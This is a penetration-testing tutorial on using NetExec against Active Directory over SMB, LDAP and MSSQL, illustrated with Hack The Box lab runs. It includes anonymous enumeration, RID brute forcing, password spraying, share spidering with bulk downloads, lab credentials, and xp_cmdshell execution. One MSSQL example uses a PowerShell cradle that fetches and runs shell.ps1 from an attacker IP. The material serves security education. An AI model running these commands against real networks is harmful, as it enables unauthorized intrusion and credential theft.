The Active Directory Swiss Army Knife
If Ligolo-ng is the tool I want ready the second I need to pivot, NetExec is the tool I want ready the second Active Directory shows up.
NXC is one of the tools I reach for most on an AD box, because it handles so many different jobs without forcing me to switch workflows every five minutes. The easiest way to understand it is by protocol:
nxc smb ...
nxc ldap ...
nxc mssql ...
Same tool. Different protocol. Different job.
NetExec supports far more than these three, but these are the modules I actually live in:
SMB for anonymous access checks, users, shares, credential validation, password policy, and hunting through files.
LDAP for checking anonymous access and collecting the domain for BloodHound.
MSSQL for validating SQL credentials and turning SQL access into command execution.
Those three alone cover a ridiculous amount of ground.
Part 1: The Mental Model
The thing that made NetExec click for me was killing this thought:
NetExec is an SMB enumeration tool.
It is much closer to this:
NetExec is a protocol-aware command center.
You tell it what protocol you are working with, hand it a target and whatever credentials you currently have, and ask what that access actually buys you.
That matters because AD testing is a progression. You usually start with nothing, then pick up valid usernames, then a username and password, then confirm that credential works over SMB, then find a readable share, then pull another credential out of a script, then use LDAP to collect the domain, then discover MSSQL, then realize that SQL account can run OS commands.
NetExec stays with you through almost that entire chain. That is why I call it my AD Swiss Army knife.
Part 2: SMB
The Module I Use the Most
If you learn one NetExec module first, make it SMB. It shows up constantly in Windows and AD environments, and NXC lets you do far more with it than checking whether a password works. With the SMB module you can check anonymous access, enumerate shares and domain users, export user lists, read the password policy, validate credentials, and spider readable shares while auto-downloading files.
Here is how I work a fresh SMB target.
First, Read the Banner: FQDN, DN, and /etc/hosts
Before any of the enumeration, every nxc smb command prints a banner, and it quietly hands you two things worth grabbing on the very first run: the DC hostname and the domain.
SMB 10.129.42.211 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True)
(name:DC) and (domain:support.htb) combine into the fully qualified domain name: DC.support.htb. That same domain also gives you the base Distinguished Name that LDAP and BloodHound work in: support.htb maps to DC=support,DC=htb, and LDAP enumeration will confirm it. This banner is genuinely the fastest way to leak both of those in one shot.
Grab them and drop them into /etc/hosts pointing at the target, before you do anything else:
10.129.42.211 support.htb DC.support.htb DC
Why this matters so much: your Kali box has no idea how to resolve the internal AD domain, so support.htb and DC.support.htb mean nothing to it until you tell it. More importantly, Kerberos is built on hostnames and SPNs, not IP addresses. The second you touch anything Kerberos based (requesting a TGT, using a ticket, evil-winrm -k, Certipy, AD CS attacks, targeted roasting) the tooling expects the FQDN. Point it at a raw IP and Kerberos either errors out or silently falls back to NTLM, which is exactly the kind of failure that eats an hour before you realize DNS was the problem.
Fix /etc/hosts once, early, from the first banner NXC prints, and you save yourself that whole class of confusing failures later.
Always Check Anonymous Access First
Before I try a single username or password, I want to know what the server gives away for free.
Start with a true null session:
nxc smb TARGET -u '' -p '' --shares
Then try the Guest account with a blank password:
nxc smb TARGET -u 'guest' -p '' --shares
I check both because they are not the same thing. The null session asks "will SMB let me interact with no username or password at all?" The Guest attempt asks "will the built-in Guest account get me in without a password?" One can fail while the other works, so a single failed check is not the end of SMB enumeration.
What I care about is whether anything readable comes back:
Share Permissions
----- -----------
IPC$
NETLOGON
SYSVOL
Development READ
Backups READ
Development and Backups immediately have my attention. That is potentially free access to files before I have cracked, sprayed, or stolen a single credential. Never assume SMB needs credentials until you actually ask it.
--shares Failed? Still Check --users
This is the SMB check people miss most. Say share enumeration gets denied:
nxc smb TARGET -u '' -p '' --shares
It is tempting to call anonymous SMB dead and move on. Not yet. Still try:
nxc smb TARGET -u '' -p '' --users
nxc smb TARGET -u 'guest' -p '' --users
Listing file shares and enumerating domain users are different operations. NXC's --users can talk to the Windows SAMR RPC interface over the \samr pipe to pull account info, which is the same idea as enumerating users manually with rpcclient:
rpcclient -U '' -N TARGET
NXC just gives you the fast one-line version. The lesson: no anonymous share access does not mean no anonymous RPC enumeration. If RPC permissions are loose, --shares can give you nothing while --users hands you a list of real domain accounts.
And valid usernames are gold. They feed password spraying, AS-REP roasting, Kerberos testing, credential reuse, and service account hunting. It takes a few seconds. Make the check.
--users Empty? Try --rid-brute
Here is the fallback that matters: when --users comes back empty, RID brute forcing can still uncover accounts that --users missed. They are two different techniques, so try both during anonymous user enumeration.
--users asks SAMR nicely for the account list. --rid-brute takes a different route: it walks account RIDs one by one (500, 501, 502, and up) and resolves each SID to a name through LSA lookups. If you have used Impacket's lookupsid.py, this is the same idea. That means SAMR enumeration can be restricted and returning nothing while RID brute forcing still resolves real accounts.
nxc smb TARGET -u 'guest' -p '' --rid-brute
On HTB's Support box, guest with a blank password authenticated, and RID brute forcing walked the entire domain:
SMB 10.129.42.211 445 DC [+] support.htb\guest:
SMB 10.129.42.211 445 DC 500: SUPPORT\Administrator (SidTypeUser)
SMB 10.129.42.211 445 DC 501: SUPPORT\Guest (SidTypeUser)
SMB 10.129.42.211 445 DC 502: SUPPORT\krbtgt (SidTypeUser)
...
SMB 10.129.42.211 445 DC 1104: SUPPORT\ldap (SidTypeUser)
SMB 10.129.42.211 445 DC 1105: SUPPORT\support (SidTypeUser)
SMB 10.129.42.211 445 DC 1106: SUPPORT\smith.rosario (SidTypeUser)
SMB 10.129.42.211 445 DC 1107: SUPPORT\hernandez.stanley (SidTypeUser)
SMB 10.129.42.211 445 DC 1108: SUPPORT\wilson.shelby (SidTypeUser)
...
SMB 10.129.42.211 445 DC 1120: SUPPORT\ford.victoria (SidTypeUser)
The well-known RIDs (500 Administrator, 502 krbtgt) come first, then the domain-created accounts commonly appear in the higher RID ranges, often 1000 and up. Those are the real users you feed into everything downstream. So the rule for anonymous user enum is simple: run --users, and if it gives you nothing, run --rid-brute before you give up.
If --users gives you a good list, do not copy names out of the terminal by hand. Write them straight to a file:
nxc smb TARGET -u '' -p '' --users-export users.txt
Or once you have credentials:
nxc smb TARGET -u USER -p PASSWORD --users-export users.txt
Now users.txt is ready to reuse everywhere:
nxc smb TARGET -u users.txt -p 'Password123!'
Enumerate once. Export once. Reuse everywhere.
Before Spraying, Check the Password Policy
An underused flag: --pass-pol. Before I spray anything, I want to know the lockout and password policy.
nxc smb TARGET -u USER -p PASSWORD --pass-pol
I want the lockout threshold, minimum length, password history, max age, and lockout duration, because a spray is not something I run blind. A threshold of 3 attempts changes everything compared to no lockout at all. So the order is always: users, then policy, then spray carefully.
Spraying and Credential Reuse
Once I have a user list and a sane read on the policy, SMB is also where I spray. Feed it the file of users and a single password to test:
nxc smb TARGET -u users.txt -p 'Welcome2024!'
Or feed it a password list instead of a single value:
nxc smb TARGET -u users.txt -p passwords.txt
NXC pairs the credentials and reports each result, flagging valid ones with [+]. But by default it can stop chasing a given user once something works, and that is where one flag matters:
nxc smb TARGET -u users.txt -p 'Welcome2024!' --continue-on-success
--continue-on-success tells NXC to keep going after it finds a valid login instead of stopping. That is exactly what you want when you are hunting credential reuse: one password that works on smith.rosario might also work on wilson.shelby and west.laura, and shared local or service passwords are extremely common in AD. Without the flag you can confirm one hit and quietly miss the other five accounts using the same password. With it, you get the full picture of everywhere that credential lands.
Two things to keep in mind. Mind the lockout policy you just pulled, because a password list against every user is a lot of attempts, and --continue-on-success does not slow anything down, it just stops short-circuiting. And the same spraying pattern works across the other protocols too (nxc ldap, nxc mssql, nxc winrm), so once you have a working credential you can quickly answer "where else does this work?" by pointing the same list at a different protocol.
Credential Validation
Once I have a username and password, I come straight back to SMB:
nxc smb TARGET -u USER -p PASSWORD
At this point I am not just asking "is the password valid?" I am asking "where does this credential work, and what does it unlock?" Across an AD box you will collect several credentials, and NXC makes it easy to keep answering that question for each one.
Share Enumeration with Credentials
If auth works, look at what you can now read:
nxc smb TARGET -u USER -p PASSWORD --shares
I care most about custom shares like Backups, Development, Finance, Scripts, Deploy, or IT. Those hold user-created material: scripts, config files, backups, spreadsheets, database configs, keys, old exports. You can browse it all by hand, or let NXC do the boring part.
spider_plus: Let NXC Crawl the Shares
This is my favorite SMB module.
nxc smb TARGET -u USER -p PASSWORD -M spider_plus
spider_plus recursively walks readable shares and records what it finds, writing file metadata like paths, sizes, and timestamps locally. That alone saves a lot of manual navigation. But you usually want to cut the default noise first.
Here is a real run against Support with downloads on and only IPC$ excluded:
nxc smb 10.129.42.211 -u 'guest' -p '' --shares -M spider_plus -o EXCLUDE_FILTER='IPC$' DOWNLOAD_FLAG=TRUE OUTPUT_FOLDER=. MAX_FILE_SIZE=20000000
SPIDER_PLUS [*] DOWNLOAD_FLAG: True
SPIDER_PLUS [*] EXCLUDE_FILTER: ['ipc$']
SPIDER_PLUS [*] EXCLUDE_EXTS: ['ico', 'lnk']
SPIDER_PLUS [*] MAX_FILE_SIZE: 19.07 MB
SPIDER_PLUS [+] Saved share-file metadata to "./10.129.42.211.json".
SPIDER_PLUS [*] SMB Readable Shares: 2 (IPC$, support-tools)
SPIDER_PLUS [*] Total files found: 7
SPIDER_PLUS [*] Files filtered: 2
SPIDER_PLUS [*] Downloads successful: 5
SPIDER_PLUS [+] All files processed successfully.
Two things to read out of that stats block. It dropped the metadata into a JSON named after the target IP, so you always know where the inventory lives. And "Total files found: 7, Files filtered: 2, Downloads successful: 5" is the module telling you it skipped some. Files can be filtered by excluded extensions or the configured size cap, so when downloads come up short, that stats block is where you find out why.
Filter the noise. If I am hunting user content, I do not want the spider grinding through every default admin share:
nxc smb TARGET -u USER -p PASSWORD --shares -M spider_plus -o EXCLUDE_FILTER='IPC$,print$,C$,ADMIN$,NETLOGON,SYSVOL'
The module already excludes print$ and ipc$ by default, but spelling out the list lets you control exactly what gets skipped. One exception: do not blindly treat SYSVOL as useless. It can hold login scripts, deployment scripts, GPP remnants, and policy artifacts, so if that is what I am after, I leave it in. The rule is not "always ignore these," it is "do not crawl what you already know you do not need."
Actually download files. By default spider_plus mostly inventories. To pull eligible files down to Kali, add DOWNLOAD_FLAG=True:
nxc smb TARGET -u USER -p PASSWORD -M spider_plus -o DOWNLOAD_FLAG=True
This is a lifesaver when a share holds 300 files instead of 3. Nobody wants to cd, ls, get, cd .. on loop. Once the loot is local, use normal Linux tooling:
grep -Rni 'password' .
grep -Rni 'secret' .
Now you are searching files locally instead of poking the remote share over and over.
Watch MAX_FILE_SIZE. The default is 51200 bytes, about 50 KB, so downloads do not mean every file comes down. The module checks size against MAX_FILE_SIZE before pulling. Raise it as needed:
# ~10 MB
nxc smb TARGET -u USER -p PASSWORD -M spider_plus -o DOWNLOAD_FLAG=True MAX_FILE_SIZE=10485760
Know that default. Otherwise you enable downloads, see files missing, and wrongly assume the module broke. On a real engagement, hoovering huge amounts of data is a different decision than doing it in a lab, so size accordingly.
Control where it lands with OUTPUT_FOLDER:
mkdir -p ./spidered
nxc smb TARGET -u USER -p PASSWORD -M spider_plus -o DOWNLOAD_FLAG=True MAX_FILE_SIZE=10485760 OUTPUT_FOLDER=./spidered
The module organizes everything under that folder by host, share, and remote path instead of dumping it into one giant pile.
My full spider command when I have creds and several readable shares:
nxc smb TARGET -u USER -p PASSWORD --shares -M spider_plus -o DOWNLOAD_FLAG=True MAX_FILE_SIZE=10485760 OUTPUT_FOLDER=./spidered EXCLUDE_FILTER='IPC$,print$,C$,ADMIN$,NETLOGON,SYSVOL'
That gives me share enumeration, recursive spidering, auto-download, a bigger size limit, a clean output directory, and noise filtering in one shot. It is not doing the pentest for me. It is removing repetitive file wrangling so I can spend my time figuring out which files actually matter.
SMB Workflow
# Fresh target: the banner leaks (name:) + (domain:), add FQDN + domain to /etc/hosts
# Then check what's free
nxc smb TARGET -u '' -p '' --shares
nxc smb TARGET -u 'guest' -p '' --shares
# Even if shares fail, check users
nxc smb TARGET -u '' -p '' --users
nxc smb TARGET -u 'guest' -p '' --users
# If --users is empty, RID brute may still work
nxc smb TARGET -u 'guest' -p '' --rid-brute
# Export anything you get
nxc smb TARGET -u '' -p '' --users-export users.txt
# Once creds appear: policy, then validate, then shares
nxc smb TARGET -u USER -p PASSWORD --pass-pol
nxc smb TARGET -u USER -p PASSWORD
nxc smb TARGET -u USER -p PASSWORD --shares
# Spray a user list, keep going to catch reuse
nxc smb TARGET -u users.txt -p 'Welcome2024!' --continue-on-success
# Then spider and collect
nxc smb TARGET -u USER -p PASSWORD --shares -M spider_plus -o DOWNLOAD_FLAG=True MAX_FILE_SIZE=10485760 OUTPUT_FOLDER=./spidered EXCLUDE_FILTER='IPC$,print$,C$,ADMIN$,NETLOGON,SYSVOL'
Check what SMB gives you for free. Do not assume a failed share check means failed RPC enumeration. Turn valid users into a reusable list. Know the policy before you spray. And when a share is full of files, let spider_plus crawl while you think.
Part 3: LDAP
Two Jobs: Anonymous Enumeration and Domain Collection
Compared to SMB, my LDAP workflow is simple. NetExec has a ton of LDAP options, but in practice I use it for two things: see if the domain allows anonymous LDAP enumeration, and collect the domain for BloodHound once I have credentials. That is basically it.
Always Check for Anonymous LDAP Bind
Same instinct as anonymous SMB. Before I throw credentials at anything, I want to know what the domain gives up for free:
nxc ldap DC_IP -u '' -p '' --users
If it works, --users can immediately hand me valid domain accounts, which again feed spraying, AS-REP roasting, Kerberos enumeration, and targeted attacks, all without a password. It is cheap enough that I always try it. If anonymous access is disabled, no big deal, LDAP becomes useful again the moment credentials show up.
Credentials Obtained? Collect the Domain
Once I have valid domain creds, getting the environment into BloodHound is a top priority. NXC can collect directly:
nxc ldap DC_IP -u USER -p PASSWORD --bloodhound -d DOMAIN -c All --dns-server DC_IP
One from my notes:
nxc ldap 10.10.10.100 -u 'svc_tgs' -p 'GPPstillStandingStrong2k18' --bloodhound -d active.htb -c All --dns-server 10.10.10.100
Breaking it down:
--bloodhound runs the collection
-d active.htb sets the domain
-c All requests the full collection set
--dns-server 10.10.10.100 uses the DC for DNS, which saves headaches in labs where Kali cannot resolve the internal AD domain
NXC supports BloodHound CE collection with methods like All, ACL, ADCS, Session, LocalAdmin, and RDP. Import the result and the domain stops being a list of machines and becomes an attack graph: users, groups, computers, ACLs, sessions, delegation, AD CS, and privilege paths. That is where AD starts to actually make sense.
Quick Note on RustHound-CE
NXC collects BloodHound data fine, but RustHound-CE is my external collector of choice, largely because of LAPS. RustHound reads both legacy ms-Mcs-AdmPwd and newer msLAPS-Password attributes, so if my collecting account can read the password, it can surface a readable LAPS password mid-collection. That is a hell of a thing to find automatically while you are already mapping the domain.
So NXC LDAP is the convenient option already sitting in front of me, and RustHound-CE is the one I deliberately reach for. It is getting its own Toolkit post later, so I will leave it there.
LDAP Workflow
# Before creds: see what LDAP gives you for free
nxc ldap DC_IP -u '' -p '' --users
# After creds: map the domain
nxc ldap DC_IP -u USER -p PASSWORD --bloodhound -d DOMAIN -c All --dns-server DC_IP
Before credentials, enumerate for free. After credentials, map the domain. Keep it simple.
Part 4: MSSQL
Where NXC Really Saves Me Time
MSSQL is one of my favorite quality-of-life wins in NetExec. I do not use it for twenty things. The main reason I reach for it is one question: I have SQL credentials, can I turn them into OS command execution?
Start by validating:
nxc mssql TARGET -u USER -p PASSWORD --local-auth
From a lab:
nxc mssql 10.129.232.128 -u sa -p 'MSSQLP@ssw0rd!' --local-auth
MSSQL 10.129.232.128 1433 DC01 [*] Windows Server 2019 (name:DC01) (domain:sequel.htb)
MSSQL 10.129.232.128 1433 DC01 [+] DC01\sa:MSSQLP@ssw0rd! (Pwn3d!)
That (Pwn3d!) matters. NXC checks SELECT IS_SRVROLEMEMBER('sysadmin') during auth, and if the login is a SQL Server sysadmin, it flags it. So I already know I am holding something powerful.
-x for Commands
nxc mssql TARGET -u USER -p PASSWORD --local-auth -x whoami
MSSQL 10.129.232.128 1433 DC01 [+] Executed command via mssqlexec
MSSQL 10.129.232.128 1433 DC01 sequel\sql_svc
That is the transition I care about: SQL credentials to MSSQL auth to OS command execution. One flag.
-X for PowerShell
Uppercase X runs PowerShell:
nxc mssql TARGET -u USER -p PASSWORD --local-auth -X "IEX (New-Object Net.WebClient).DownloadString('http://10.10.15.205/shell.ps1')"
Easiest way to remember it: lowercase -x is a command, uppercase -X is PowerShell.
NXC Handles xp_cmdshell for You
This is my favorite part of the module. OS command execution through SQL Server normally rides on xp_cmdshell, which is often disabled. Working manually through Impacket's mssqlclient, you enable it yourself:
SQL> enable_xp_cmdshell
SQL> xp_cmdshell whoami
NetExec removes that friction. When you run -x, NXC checks the state of show advanced options and xp_cmdshell, and if either is disabled and your account can change it, NXC temporarily enables it, runs exec master..xp_cmdshell 'COMMAND', and here is the clean part: it restores the original state afterward. If xp_cmdshell started disabled, NXC re-disables it when it is done. If it was already enabled, NXC leaves it alone. Same logic for show advanced options.
So -x gives you automatic setup without leaving SQL Server reconfigured after a single command. NXC obviously cannot enable it if your account lacks the privilege, but when the account has it, -x whoami becomes my fast "can this SQL access become OS execution?" check.
mssql_priv: When You Are Not Sysadmin Yet
Not every valid SQL credential lands as sa. That is what the mssql_priv module is for:
nxc mssql TARGET -u USER -p PASSWORD -M mssql_priv
It looks at the current user's privileges and tries to find a path up. It checks whether you are already sysadmin, whether you can impersonate another login, whether that login can impersonate someone else, and whether the chain eventually reaches a sysadmin, plus db_owner rights on a trusted database. So it can reason through something like:
low_priv_login -> impersonate USER_B -> USER_B impersonates USER_C -> USER_C is sysadmin
It supports ACTION=enum_priv, ACTION=privesc, and ACTION=rollback, defaulting to enumeration. So first I just enumerate:
nxc mssql TARGET -u USER -p PASSWORD -M mssql_priv
If it finds a route and I am authorized to test it:
nxc mssql TARGET -u USER -p PASSWORD -M mssql_priv -o ACTION=privesc
And it can roll the granted sysadmin privilege back:
nxc mssql TARGET -u USER -p PASSWORD -M mssql_priv -o ACTION=rollback
That turns a pile of manual SQL privilege queries into one question: does this login have a route to sysadmin? I do not reach for it as often as -x and -X, but it is absolutely worth knowing.
MSSQL Workflow
# Validate. (Pwn3d!) means sysadmin.
nxc mssql TARGET -u USER -p PASSWORD --local-auth
# Command execution
nxc mssql TARGET -u USER -p PASSWORD --local-auth -x whoami
# PowerShell
nxc mssql TARGET -u USER -p PASSWORD --local-auth -X "POWERSHELL_COMMAND"
# Valid but not sysadmin? Look for a privesc path.
nxc mssql TARGET -u USER -p PASSWORD -M mssql_priv
Shortcut: -x = command, -X = PowerShell, mssql_priv = find SQL privilege escalation.
How the Three Modules Fit Together
This is the whole point of the post. Do not think of these as disconnected tricks. Think about how they chain through one engagement.
Start with SMB and see what is free:
nxc smb TARGET -u '' -p '' --shares
nxc smb TARGET -u '' -p '' --users
Maybe anonymous user enumeration works, so export the list. Eventually you get credentials, so check the policy, validate, look at shares, and spider the interesting ones. Somewhere in that loot you pull another credential.
Now move to LDAP and map the domain:
nxc ldap DC_IP -u USER -p PASSWORD --bloodhound -d DOMAIN -c All --dns-server DC_IP
BloodHound shows you the relationships. Eventually you discover MSSQL, validate the login, and turn it into execution:
nxc mssql TARGET -u USER -p PASSWORD --local-auth
nxc mssql TARGET -u USER -p PASSWORD --local-auth -x whoami
SMB tells you what the Windows environment gives you. LDAP tells you what the domain gives you. MSSQL tells you what the SQL Server gives you. All three run through the same tool, and NXC stays relevant as the engagement changes shape.
Quick Reference
SMB
# Anonymous / guest shares
nxc smb TARGET -u '' -p '' --shares
nxc smb TARGET -u 'guest' -p '' --shares
# Anonymous / guest users
nxc smb TARGET -u '' -p '' --users
nxc smb TARGET -u 'guest' -p '' --users
# RID brute forcing fallback when --users is empty
nxc smb TARGET -u 'guest' -p '' --rid-brute
# Export users
nxc smb TARGET -u '' -p '' --users-export users.txt
# Password policy
nxc smb TARGET -u USER -p PASSWORD --pass-pol
# Spray a user list with one password, or a password list
nxc smb TARGET -u users.txt -p 'Welcome2024!' --continue-on-success
nxc smb TARGET -u users.txt -p passwords.txt --continue-on-success
# Validate credentials
nxc smb TARGET -u USER -p PASSWORD
# Shares
nxc smb TARGET -u USER -p PASSWORD --shares
# Full spider_plus workflow
nxc smb TARGET -u USER -p PASSWORD --shares -M spider_plus -o DOWNLOAD_FLAG=True MAX_FILE_SIZE=10485760 OUTPUT_FOLDER=./spidered EXCLUDE_FILTER='IPC$,print$,C$,ADMIN$,NETLOGON,SYSVOL'
LDAP
# Anonymous users
nxc ldap DC_IP -u '' -p '' --users
# BloodHound collection
nxc ldap DC_IP -u USER -p PASSWORD --bloodhound -d DOMAIN -c All --dns-server DC_IP
MSSQL
# Validate SQL credentials
nxc mssql TARGET -u USER -p PASSWORD --local-auth
# Execute command
nxc mssql TARGET -u USER -p PASSWORD --local-auth -x whoami
# Execute PowerShell
nxc mssql TARGET -u USER -p PASSWORD --local-auth -X "POWERSHELL_COMMAND"
# Enumerate SQL privilege escalation
nxc mssql TARGET -u USER -p PASSWORD -M mssql_priv
Remember: -x = command, -X = PowerShell.
The One Thing to Remember
NetExec is not valuable because it has a giant pile of flags. It is valuable because it lets you keep moving without constantly switching tools. Check anonymous SMB, enumerate and export users, read the password policy, validate credentials, hunt through shares, pull loot, query LDAP, collect BloodHound data, authenticate to MSSQL, spot sysadmin access, run CMD or PowerShell, and find SQL privesc paths, all from one tool. Then take whatever you learned from one protocol and feed it straight into the next.
Do not try to memorize every NXC flag. Know the job you need done, pick the protocol, give it what you currently know, see what comes back, and keep moving. That is how I actually use it.
For the full attack chains where these techniques show up in context, check out the penetration testing writeups across the rest of Hack2Harden.
Find. Fix. Fortify.
